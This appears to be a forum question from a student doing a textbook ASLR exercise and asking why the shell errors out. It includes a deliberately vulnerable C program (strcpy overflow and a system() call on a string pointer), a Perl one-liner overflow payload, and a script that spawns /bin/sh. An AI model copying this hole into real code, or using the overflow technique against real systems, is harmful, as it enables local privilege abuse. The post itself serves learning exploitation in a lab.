I am working through problem 5.1 (string pointers) in the “ASLR Smack & Laugh Reference” by Tilo Muller, and generating the following error:

sh: 1: Syntax error: ")" unexpected

when the shell script tries to run /bin/sh. The vulnerable code (strptr.c):

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[1])
{
    char input[256];
    char* conf = "test -f ~/.progrc";
    char* license = "THIS SOFTWARE IS...";

    printf(license);
    strcpy(input, argv[1]);
    if (system(conf)) printf("Missing .progrc");
}

The attacker overwrites the input buffer, and replaces the address of conf on the stack with the address of license. Using gdb we determined that the address of license is 0x08048582, and by placing the address of license on the stack, the system call will try and interpret “THIS” as an executable. There is an executable (chmod 777) bash script in the environment PATH named “THIS”, and I have been able to overwrite the string pointer for conf on multiple occasions, but when system tries to execute “THIS” the following output is received:

$ ./strptr `perl -e 'print "A"x256; print "x82x8548"'

sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc

The shell script “THIS”:

#!/bin/sh

/bin/sh


Naturally I started searching for descriptions of similar errors, and read the following:

[1 - sh-1-syntax-error-unexpected-error](/questions/35480168/sh-1-syntax-error-unexpected-error)

[2 - bash-script-process-substitution-syntax-error-unexpected](/questions/32038974/bash-script-process-substitution-syntax-error-unexpected)

[3 - Using system function call to execute a shell command](https://unix.stackexchange.com/questions/342718/using-system-function-call-to-execute-a-shell-command)

[4 - Why does process substitution not work in a shell script](/questions/31371672/why-does-process-substitution-not-work-in-a-shell-script) ; Not that I have process redirection in my script, but you never know when you will stumble across what you need :)

I also looked at the man system() page, but did not find anything that spoke to my problem.

I am testing this code on ubuntu:

`Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux`

I tried the different shells on the host (sh, bash, dash) and received the same error.  I also tested other shell commands in the script (date, id, & ifconfig) and generated the same error.  The **"THIS"** script runs without errors from the command line.

Reading through stack overflow, there were many similar issues but none of the potential hints worked out. Thank you for your patience and assistance.